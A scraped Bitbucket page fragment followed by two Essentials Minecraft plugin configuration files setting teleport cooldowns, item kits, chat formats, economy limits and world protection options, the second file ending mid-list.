"path": "/__wp__/mb-linux-msli/src/master/", "focusedTaskBackButtonUrl": null, "whats_new_feed": "https://bitbucket.org/blog/wp-json/wp/v2/posts?categories=196&context=embed&per_page=6&orderby=date&order=desc"}, "repository": {"source": {"section": {"hash": "ae5d81ca8c8265958d9847aecca0505dbce92217", "atRef": null, "ref": {"name": "master", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/repositories/__wp__/mb-linux-msli/refs/branches/master"}, "html": {"href": "https://bitbucket.org/__wp__/mb-linux-msli/branch/master"}}, "target": {"type": "commit", "hash": "ae5d81ca8c8265958d9847aecca0505dbce92217", "links": {"self": {"href": "https://bitbucket.org/!api/2.0/repositories/__wp__/mb-linux-msli/commit/ae5d81ca8c8265958d9847aecca0505dbce92217"}, "html": {"href": "https://bitbucket.org/__wp__/mb-linux-msli/commits/ae5d81ca8c8265958d9847aecca0505dbce92217"}}}}}}}}; window.__settings__ = {"MARKETPLACE_TERMS_OF_USE_URL": null, "JIRA_ISSUE_COLLECTORS": {"code-review-beta": {"url": "https://bitbucketfeedback.atlassian.net/s/d41d8cd98f00b204e9800998ecf8427e-T/-4bqv2z/b/20/a44af77267a987a660377e5c46e0fb64/_/download/batch/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector.js?locale=en-US&collectorId=bb066400", "id": "bb066400"}, "jira-software-repo-page": {"url": "https://jira.atlassian.com/s/1ce410db1c7e1b043ed91ab8e28352e2-T/yl6d1c/804001/619f60e5de428c2ed7545f16096c303d/3.1.0/_/download/batch/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector.js?locale=en-UK&collectorId=064d6699", "id": "064d6699"}, "code-review-rollout": {"url": "https://bitbucketfeedback.atlassian.net/s/d41d8cd98f00b204e9800998ecf8427e-T/-4bqv2z/b/20/a44af77267a987a660377e5c46e0fb64/_/download/batch/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector.js?locale=en-US&collectorId=de003e2d", "id": "de003e2d"}, "source-browser": {"url": "https://bitbucketfeedback.atlassian.net/s/d41d8cd98f00b204e9800998ecf8427e-T/-tqnsjm/b/20/a44af77267a987a660377e5c46e0fb64/_/download/batch/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector/com.atlassian.jira.collector.plugin.jira-issue-collector-plugin:issuecollector.js?locale=en-US&collectorId=c19c2ff6", "id": "c19c2ff6"}}, "STATUSPAGE_URL": "https://bitbucket.status.atlassian.com/", "CANON_URL": "https://bitbucket.org", "CONSENT_HUB_FRONTEND_BASE_URL": "https://preferences.atlassian.com", "API_CANON_URL": "https://api.bitbucket.org", "SOCIAL_AUTH_ATLASSIANID_LOGOUT_URL": "https://id.atlassian.com/logout", "EMOJI_STANDARD_BASE_URL": "https://api-private.atlassian.com/emoji/"}; window.__webpack_nonce__ = 'xxI7cPsOVRt9B81s'; window.isInitialLoadApdex = true; </script> <script nonce="xxI7cPsOVRt9B81s" src="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/i18n/en.4509eaad.js"></script> <script nonce="xxI7cPsOVRt9B81s" src="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/ajs.53f719bc.js"></script> <script nonce="xxI7cPsOVRt9B81s" src="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/app.8acf32f0.js"></script> <script nonce="xxI7cPsOVRt9B81s" src="https://d301sr5gafysq2.cloudfront.net/frontbucket/assets/present/performance-timing.f1eda5e1.js" defer></script> <script nonce="xxI7cPsOVRt9B81s" type="text/javascript">window.NREUM||(NREUM={});NREUM.info={"beacon":"bam-cell.nr-data.net","queueTime":0,"licenseKey":"a2cef8c3d3","agent":"","transactionName":"NFcGYEdUW0IAVE1QCw0dIkFbVkFYDlkWWw0XUBFXXlBBHwBHSUpKEVcUWwcbQ1gEQEoDNwxHFldQY1xUFhleXBA=","applicationID":"548124220,1841284","errorBeacon":"bam-cell.nr-data.net","applicationTime":263}</script> </body> </html>

############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: 'none' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isnt used, force essentials to add the prefix and suffix from permission plugins to displayname # This setting is ignored if essentialschat.jar is used, and defaults to 'true' # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 5 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command # This will also prevent the player attacking other players teleport-invulnerability: 4 # The delay, in seconds, required between /heal attempts heal-cooldown: 60 # What to prevent from /i /give # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules # Note: The blacklist above will be ignored then. # Permissions: # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution spawnmob-limit: 10 # Shall we notify users when using /lightning warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # Disabled commands will be completely unavailable on the server. # Disabling commands here will have no effect on command conflicts. disabled-commands: # - nick # These commands will be shown to players with socialSpy enabled # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: tools: delay: 10 items: - 272 1 - 273 1 - 274 1 - 275 1 dtools: delay: 600 items: - 278 1 efficiency:1 durability:1 fortune:1 name:&4Gigadrill lore:The_drill_that_&npierces|the_heavens - 277 1 digspeed:3 name:Dwarf lore:Diggy|Diggy|Hole - 298 1 color:255,255,255 name:Top_Hat lore:Good_day,_Good_day - 279:780 1 notch: delay: 6000 items: - 397:3 1 player:Notch color: delay: 6000 items: - 387 1 title:&4Book_&9o_&6Colors author:KHobbits lore:Ingame_color_codes book:Colors firework: delay: 6000 items: - 401 1 name:Angry_Creeper color:red fade:green type:creeper power:1 - 401 1 name:StarryNight color:yellow,orange fade:blue type:star effect:trail,twinkle power:1 - 401 2 name:SolarWind color:yellow,orange fade:red shape:large effect:twinkle color:yellow,orange fade:red shape:ball effect:trail color:red,purple fade:pink shape:star effect:trail power:1 # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: #- color #- balance #- buy #- sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled backup: # Interval in minutes interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups sort-list-by-groups: false # More output to the console debug: false # Set the locale for all messages # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties" # Don't forget to remove the # in front of the line # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here death-messages: true # Add worlds to this list, if you want to automatically disable god mode there no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home, defaults to 'default' below. # Define different amounts of multiple homes for different permissions, e.g. essentials.sethome.multiple.vip # People with essentials.sethome.multiple.unlimited are not limited by these numbers. # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: default: 3 # essentials.sethome.multiple.vip vip: 5 # essentials.sethome.multiple.staff staff: 10 # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 0 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have # The amount is always limited to 10 trillion because of the limitations of a java double max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help non-ess-in-help: true # Hide plugins which do not give a permission # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '&l{DISPLAYNAME} &3➽ &f&l{MESSAGE}' Dziewczyna: '{DISPLAYNAME} &3➽ &5 {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: # Default: '{WORLDNAME} {DISPLAYNAME}&7:&r {MESSAGE}' # Admins: '{WORLDNAME} &c[{GROUP}]&r {DISPLAYNAME}&7:&c {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # Database settings for sign/rail protection # mysql or sqlite # We strongly recommend against using mysql here, unless you have a good reason. # Sqlite seems to be faster in almost all cases, and in some cases mysql can be much slower. datatype: 'sqlite' # If you specified MySQL above, you MUST enter the appropriate details here. # If you specified SQLite above, these will be IGNORED. username: 'root' password: 'root' mysqlDb: 'jdbc:mysql://localhost:3306/minecraft' # General physics/behavior modifications prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players # permission essentials.protect.entitytarget.bypass disables this entitytarget: false # Prevent the spawning of creatures spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: false bat: false witch: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Protect various blocks. protect: # Protect all signs signs: false # Prevent users from destroying rails rails: false # Blocks below rails/signs are also protected if the respective rail/sign is protected. # This makes it more difficult to circumvent protection, and should be enabled. # This only has an effect if "rails" or "signs" is also enabled. block-below: true # Prevent placing blocks above protected rails, this is to stop a potential griefing prevent-block-on-rails: false # Store blocks / signs in memory before writing memstore: false # Disable various default physics and behaviors disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build # Set true to disable building for those people # Setting to false means EssentialsAntiBuild will never prevent you from building build: true # Should people with build: false in permissions be allowed to use items # Set true to disable using for those people # Setting to false means EssentialsAntiBuild will never prevent you from using use: true # Should we tell people they are not allowed to build warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing placement: 10,11,46,327 # Which items should people be prevented from using usage: 327 # Which blocks should people be prevented from breaking break: # Which blocks should not be pushed by pistons piston: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&dWelcome {DISPLAYNAME}&d to the server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: tools # Set this to lowest, if you want Multiverse to handle the respawning # Set this to high, if you want EssentialsSpawn to handle the respawning # Set this to highest, if you want to force EssentialsSpawn to handle the respawning respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.

############################################################ # +------------------------------------------------------+ # # | Notes | # # +------------------------------------------------------+ # ############################################################ # If you want to use special characters in this document, such as accented letters, you MUST save the file as UTF-8, not ANSI. # If you receive an error when Essentials loads, ensure that: # - No tabs are present: YAML only allows spaces # - Indents are correct: YAML hierarchy is based entirely on indentation # - You have "escaped" all apostrophes in your text: If you want to write "don't", for example, write "don''t" instead (note the doubled apostrophe) # - Text with symbols is enclosed in single or double quotation marks # If you have problems join the Essentials help support channel: http://tiny.cc/EssentialsChat ############################################################ # +------------------------------------------------------+ # # | Essentials (Global) | # # +------------------------------------------------------+ # ############################################################ # A color code between 0-9 or a-f. Set to 'none' to disable. ops-name-color: '4' # The character(s) to prefix all nicknames, so that you know they are not true usernames. nickname-prefix: '~' # The maximum length allowed in nicknames. The nickname prefix is included in this. max-nick-length: 15 # Disable this if you have any other plugin, that modifies the displayname of a user. change-displayname: true # When this option is enabled, the (tab) player list will be updated with the displayname. # The value of change-displayname (above) has to be true. #change-playerlist: true # When essentialschat.jar isn't used, force essentials to add the prefix and suffix from permission plugins to displayname. # This setting is ignored if essentialschat.jar is used, and defaults to 'true'. # The value of change-displayname (above) has to be true. # Do not edit this setting unless you know what you are doing! #add-prefix-suffix: false # If the teleport destination is unsafe, should players be teleported to the nearest safe location? # If this is set to true, Essentials will attempt to teleport players close to the intended destination. # If this is set to false, attempted teleports to unsafe locations will be cancelled with a warning. teleport-safety: true # The delay, in seconds, required between /home, /tp, etc. teleport-cooldown: 3 # The delay, in seconds, before a user actually teleports. If the user moves or gets attacked in this timeframe, the teleport never occurs. teleport-delay: 5 # The delay, in seconds, a player can't be attacked by other players after they have been teleported by a command. # This will also prevent the player attacking other players. teleport-invulnerability: 4 # The delay, in seconds, required between /heal or /feed attempts. heal-cooldown: 60 # What to prevent from /i /give. # e.g item-spawn-blacklist: 46,11,10 item-spawn-blacklist: # Set this to true if you want permission based item spawn rules. # Note: The blacklist above will be ignored then. # Example permissions (these go in your permissions manager): # - essentials.itemspawn.item-all # - essentials.itemspawn.item-[itemname] # - essentials.itemspawn.item-[itemid] # - essentials.give.item-all # - essentials.give.item-[itemname] # - essentials.give.item-[itemid] # - essentials.unlimited.item-all # - essentials.unlimited.item-[itemname] # - essentials.unlimited.item-[itemid] # - essentials.unlimited.item-bucket # Unlimited liquid placing # # For more information, visit http://wiki.ess3.net/wiki/Command_Reference/ICheat#Item.2FGive permission-based-item-spawn: false # Mob limit on the /spawnmob command per execution. spawnmob-limit: 1 # Shall we notify users when using /lightning? warn-on-smite: true # motd and rules are now configured in the files motd.txt and rules.txt. # When a command conflicts with another plugin, by default, Essentials will try to force the OTHER plugin to take priority. # Commands in this list, will tell Essentials to 'not give up' the command to other plugins. # In this state, which plugin 'wins' appears to be almost random. # # If you have two plugin with the same command and you wish to force Essentials to take over, you need an alias. # To force essentials to take 'god' alias 'god' to 'egod'. # See http://wiki.bukkit.org/Bukkit.yml#aliases for more information overridden-commands: # - god # - info # Disabling commands here will prevent Essentials handling the command, this will not affect command conflicts. # Commands should fallback to the vanilla versions if available. # You should not have to disable commands used in other plugins, they will automatically get priority. disabled-commands: # - nick # - clear - mail - mail.send - nuke - afk # These commands will be shown to players with socialSpy enabled. # You can add commands from other plugins you may want to track or # remove commands that are used for something you dont want to spy on. socialspy-commands: - msg - w - r - mail - m - t - whisper - emsg - tell - er - reply - ereply - email - action - describe - eme - eaction - edescribe - etell - ewhisper - pm # If you do not wish to use a permission system, you can define a list of 'player perms' below. # This list has no effect if you are using a supported permissions system. # If you are using an unsupported permissions system, simply delete this section. # Whitelist the commands and permissions you wish to give players by default (everything else is op only). # These are the permissions without the "essentials." part. player-commands: - afk - afk.auto - back - back.ondeath - balance - balance.others - balancetop - build - chat.color - chat.format - chat.shout - chat.question - clearinventory - compass - depth - delhome - getpos - geoip.show - help - helpop - home - home.others - ignore - info - itemdb - kit - kits.tools - list - mail - mail.send - me - motd - msg - msg.color - nick - near - pay - ping - protect - r - rules - realname - seen - sell - sethome - setxmpp - signs.create.protection - signs.create.trade - signs.break.protection - signs.break.trade - signs.use.balance - signs.use.buy - signs.use.disposal - signs.use.enchant - signs.use.free - signs.use.gamemode - signs.use.heal - signs.use.info - signs.use.kit - signs.use.mail - signs.use.protection - signs.use.repair - signs.use.sell - signs.use.time - signs.use.trade - signs.use.warp - signs.use.weather - spawn - suicide - time - tpa - tpaccept - tpahere - tpdeny - warp - warp.list - world - worth - xmpp # Note: All items MUST be followed by a quantity! # All kit names should be lower case, and will be treated as lower in permissions/costs. # Syntax: - itemID[:DataValue/Durability] Amount [Enchantment:Level].. [itemmeta:value]... # For Item meta information visit http://wiki.ess3.net/wiki/Item_Meta # 'delay' refers to the cooldown between how often you can use each kit, measured in seconds. # For more information, visit http://wiki.ess3.net/wiki/Kits kits: Goblin: delay: 3600 items: - 272 1 sharpness:2 unbreaking:1 looting:1 name:&8[&2Goblin&8]&fSword - 306 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fHelmet - 307 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fChestplate - 308 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fLeggings - 309 1 unbreaking:1 protection:1 name:&8[&2Goblin&8]&fBoots - 256 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fShovel - 257 1 efficiency:1 unbreaking:1 fortune:1 name:&8[&2Goblin&8]&fPickaxe - 258 1 efficiency:1 unbreaking:1 name:&8[&2Goblin&8]&fAxe - 364 16 Griefer: delay: 14400 items: - 276 1 sharpness:3 unbreaking:3 name:&8[&d&lGriefer&8]&fSword - 322:1 1 - 310 1 protection:2 name:&8[&d&lGriefer&8]&fHelmet - 311 1 protection:2 name:&8[&d&lGriefer&8]&fChestplate - 312 1 protection:2 name:&8[&d&lGriefer&8]&fLeggings - 313 1 protection:2 name:&8[&d&lGriefer&8]&fBoots Villager: delay: 43200 items: - 267 1 sharpness:4 name:&8[&eVillager&8]&fSword - 306 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fHelmet - 307 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fChestplate - 308 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fLeggings - 309 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fBoots - 388 10 - 383:120 2 Knight: delay: 43200 items: - 276 1 sharpness:3 name:&8[&cKnight&8]&fSword - 310 1 protection:2 name:&8[&cKnight&8]&fHelmet - 311 1 protection:2 name:&8[&cKnight&8]&fChestplate - 312 1 protection:2 name:&8[&cKnight&8]&fLeggings - 313 1 protection:2 name:&8[&cKnight&8]&fBoots - 388 20 - 383:120 4 King: delay: 43200 items: - 276 1 sharpness:4 fire:1 name:&8[&5King&8]&fSword - 310 1 protection:4 name:&8[&5King&8]&fHelmet - 311 1 protection:4 name:&8[&5King&8]&fChestplate - 312 1 protection:4 name:&8[&5King&8]&fLeggings - 313 1 protection:4 name:&8[&5King&8]&fBoots - 388 30 - 383:120 6 Hero: delay: 43200 items: - 276 1 sharpness:4 fire:2 name:&8[&aHero&8]&fSword - 310 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fHelmet - 311 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fChestplate - 312 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fLeggings - 313 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fBoots - 388 40 - 383:120 8 God: delay: 43200 items: - 276 1 sharpness:5 fire:2 name:&8[&4God&8]&fSword - 310 1 protection:4 unbreaking:3 name:&8[&4God&8]&fHelmet - 311 1 protection:4 unbreaking:3 name:&8[&4God&8]&fChestplate - 312 1 protection:4 unbreaking:3 name:&8[&4God&8]&fLeggings - 313 1 protection:4 unbreaking:3 name:&8[&4God&8]&fBoots - 388 50 - 383:120 10 - 322:1 5 Legend: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&6&lLegend&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&6&lLegend&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&6&lLegend&8]&fAxe Youtube: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&f&lYou&c&lTube&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fAxe Join: delay: 3600 items: - 17 16 - 333 1 - 49 32 - 50 16 - 4 64 - 373:8258 1 - 320 16 Reset: delay: 31536000 items: - 272 1 sharpness:4 unbreaking:3 name:&8[&cR&ee&as&be&dt&8]&fSword - 298 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fHelmet - 299 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fChestplate - 300 1 protection:3 unbreaking:1 